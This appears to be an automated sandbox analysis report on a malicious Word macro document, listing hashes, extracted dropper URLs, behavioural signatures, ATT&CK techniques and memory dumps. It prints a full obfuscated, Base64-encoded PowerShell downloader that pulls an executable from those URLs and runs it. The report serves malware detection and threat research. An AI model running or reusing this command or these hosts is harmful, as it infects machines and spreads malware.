fc8aa6f97026b3ab9940022d409504d275d0dd4a9a1cb02ce00fde0ab46f54be

General

Target

621c5e53d558797d0e4494eed4fa9cd1JaffaCakes118.doc
Size

187KB
MD5

621c5e53d558797d0e4494eed4fa9cd1
SHA1

843fd69f28b862b75bc8cb9028b0bc009e907caa
SHA256

fc8aa6f97026b3ab9940022d409504d275d0dd4a9a1cb02ce00fde0ab46f54be
SHA512

70415120b6190e020069ad5942708826e7f043be794e875593da385029a67c204ce7098122e739149fec08e04ebdf41c6265dc7feee6c568e67acd210023dc4d
SSDEEP

1536:tGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xildYXY9YgddT/Ephoj18sov8sCAd:zrfrzOH98ipg4ejZ

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://scrappy.upsproutmedia.com/wp-admin/J/

exe.dropper

https://china-specialist.com/wp-content/YrLG/

exe.dropper

https://www.upsproutmedia.com/wp-admin/M/

exe.dropper

http://pagearrow.com/wordpress/B/

exe.dropper

http://a.xuezha.cn/lajop/OYdUzf/

exe.dropper

http://blog.saadata.com/cgi-bin/vwz/

exe.dropper

http://zeeamfashion.com/content/rqoL/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3248	2640	powershell.exe

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

30 3248 powershell.exe
35 3248 powershell.exe

flow	pid	process
30	3248	powershell.exe
35	3248	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2792 WINWORD.EXE
2792 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3248 powershell.exe
3248 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3248 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2792 WINWORD.EXE
2792 WINWORD.EXE
2792 WINWORD.EXE
2792 WINWORD.EXE
2792 WINWORD.EXE
2792 WINWORD.EXE
2792 WINWORD.EXE

pid	process
2792	WINWORD.EXE
2792	WINWORD.EXE

pid	process
3248	powershell.exe
3248	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3248	powershell.exe

pid	process
2792	WINWORD.EXE
2792	WINWORD.EXE
2792	WINWORD.EXE
2792	WINWORD.EXE
2792	WINWORD.EXE
2792	WINWORD.EXE
2792	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\621c5e53d558797d0e4494eed4fa9cd1JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABQAG8AagBqAGoAdgAzAD0AKAAnAFgAJwArACcAawB3ACcAKwAoACcAOAAnACsAJwBiAGoAcgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBwAFIAbwBmAEkATABFAFwARwBlAGsAVwA2ADQATwBcAEIAQgB5AGoAOQBFAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAEkAYABUAHkAUABgAFIAbwB0AG8AYABDAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACcAKwAoACcALAAgAHQAJwArACcAbABzADEAMQAsACAAJwArACcAdAAnACkAKwAnAGwAcwAnACkAOwAkAFAAagB1ADAAdABlAG0AIAA9ACAAKAAnAE4AZwAnACsAJwBxACcAKwAoACcAcQB2AGwAJwArACcAZAB5ACcAKQApADsAJABXAGIAMwBrADgAYQByAD0AKAAoACcARABuAGUAJwArACcANgBkAGUAJwApACsAJwB5ACcAKQA7ACQATABsAF8AYwA1ADkAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBvACcAKwAoACcATgBtAEcAJwArACcAZQBrAHcANgAnACsAJwA0AG8AJwArACcAbwBOACcAKQArACgAJwBtAEIAYgAnACsAJwB5AGoAOQAnACkAKwAoACcAZQAnACsAJwB3AG8ATgAnACkAKwAnAG0AJwApACAALQBjAFIARQBwAGwAYQBDAEUAKABbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcAOAArAFsAQwBIAGEAUgBdADEAMAA5ACkALABbAEMASABhAFIAXQA5ADIAKQArACQAUABqAHUAMAB0AGUAbQArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFgAMQB2AGcAcgBkADMAPQAoACgAJwBDADEAJwArACcAMwB6AGYANgAnACkAKwAnAGsAJwApADsAJABHAHQAbQAxAHUAagB5AD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAVAAuAFcAZQBiAGMAbABJAEUAbgBUADsAJABJAGMAaQBoAGcAdgBpAD0AKAAnAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvAC8AJwArACcAcwBjACcAKwAoACcAcgAnACsAJwBhAHAAcAB5ACcAKQArACcALgB1ACcAKwAoACcAcAAnACsAJwBzAHAAcgAnACsAJwBvAHUAJwArACcAdABtAGUAZAAnACsAJwBpAGEALgBjAG8AbQAnACsAJwAvAHcAJwApACsAKAAnAHAAJwArACcALQBhACcAKQArACgAJwBkACcAKwAnAG0AaQBuACcAKwAnAC8ASgAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAcwA6ACcAKwAnAC8AJwArACcALwBjAGgAJwArACcAaQBuAGEALQBzACcAKQArACgAJwBwACcAKwAnAGUAYwBpAGEAbABpACcAKwAnAHMAdAAuACcAKwAnAGMAbwBtAC8AdwAnACkAKwAoACcAcAAnACsAJwAtAGMAJwApACsAKAAnAG8AJwArACcAbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAvAFkAJwApACsAKAAnAHIATABHACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AdwAnACsAJwB3ACcAKQArACgAJwB3AC4AdQAnACsAJwBwACcAKQArACgAJwBzAHAAcgAnACsAJwBvAHUAdAAnACkAKwAnAG0AJwArACcAZQAnACsAJwBkAGkAJwArACgAJwBhACcAKwAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8ATQAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAHAAYQBnAGUAJwArACcAYQByACcAKQArACgAJwByACcAKwAnAG8AdwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHcAJwArACcAbwByAGQAJwApACsAKAAnAHAAcgAnACsAJwBlAHMAcwAvAEIAJwApACsAJwAvACcAKwAoACcAKgBoACcAKwAnAHQAdABwADoALwAvAGEALgAnACsAJwB4AHUAZQB6ACcAKwAnAGgAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACcAbgAnACsAJwAvACcAKwAoACcAbAAnACsAJwBhAGoAbwBwAC8ATwAnACsAJwBZAGQAJwApACsAKAAnAFUAegBmACcAKwAnAC8AJwApACsAJwAqACcAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AYgAnACsAJwBsACcAKQArACgAJwBvAGcAJwArACcALgBzAGEAYQAnACkAKwAoACcAZAAnACsAJwBhAHQAYQAuAGMAbwBtACcAKwAnAC8AYwAnACkAKwAoACcAZwBpACcAKwAnAC0AYgBpACcAKQArACcAbgAnACsAKAAnAC8AdgAnACsAJwB3ACcAKQArACgAJwB6ACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8ALwAnACsAJwB6AGUAJwArACcAZQBhACcAKQArACgAJwBtAGYAYQBzAGgAaQBvACcAKwAnAG4ALgAnACsAJwBjAG8AbQAvACcAKQArACcAYwAnACsAKAAnAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQAJwArACcALwAnACsAJwByACcAKwAnAHEAJwArACcAbwBMACcAKwAnAC8AJwApAC4AIgBTAHAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAbQBvAHQAXwBjAGEAPQAoACcARAAnACsAKAAnAGsAJwArACcAOAA4AG0AJwApACsAJwAxAHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUgA3AHUAeQB2ADYAOQAgAGkAbgAgACQASQBjAGkAaABnAHYAaQApAHsAdAByAHkAewAkAEcAdABtADEAdQBqAHkALgAiAGQAYABPAHcATgBsAE8AYQBEAEYASQBgAEwAZQAiACgAJABSADcAdQB5AHYANgA5ACwAIAAkAEwAbABfAGMANQA5AGYAKQA7ACQAVQBkAHkAdwB0AHIAcQA9ACgAKAAnAEcAaABpAGgAJwArACcAagAnACkAKwAnADQAJwArACcAcwAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATABsAF8AYwA1ADkAZgApAC4AIgBsAGUAbgBgAGcAdABoACIAIAAtAGcAZQAgADIANQA4ADUAMAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABMAGwAXwBjADUAOQBmACkAOwAkAFcAagAyADEAZQBuADYAPQAoACcASQBiACcAKwAoACcAaAAnACsAJwBnADcAJwApACsAJwBqAG4AJwApADsAYgByAGUAYQBrADsAJABTADgAYwBnAHoAMwBlAD0AKAAoACcAUQAnACsAJwBrADQANgAnACkAKwAnADUAXwAnACsAJwBtACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQA1AHIAcQAxAG0AeAA9ACgAJwBWACcAKwAnADgAaAAnACsAKAAnAHEAagB2ACcAKwAnAG8AJwApACkA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3248

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD93B7.tmp\gb.xsl
Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obnd3avq.eo1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2792-16-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-13-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-1-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-18-0x00007FF9D4390000-0x00007FF9D43A0000-memory.dmp

Filesize
64KB

Download
memory/2792-7-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-8-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-6-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-24-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-14-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-15-0x00007FF9D4390000-0x00007FF9D43A0000-memory.dmp

Filesize
64KB

Download
memory/2792-12-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-11-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-10-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-25-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-2-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-9-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-5-0x00007FFA16BAD000-0x00007FFA16BAE000-memory.dmp

Filesize
4KB

Download
memory/2792-0-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-17-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-601-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-599-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-4-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-600-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-3-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-564-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-565-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-575-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-576-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/2792-597-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/2792-598-0x00007FF9D6B90000-0x00007FF9D6BA0000-memory.dmp

Filesize
64KB

Download
memory/3248-90-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download
memory/3248-75-0x0000026A4E1B0000-0x0000026A4E1D2000-memory.dmp

Filesize
136KB

Download
memory/3248-69-0x00007FFA16B10000-0x00007FFA16D05000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads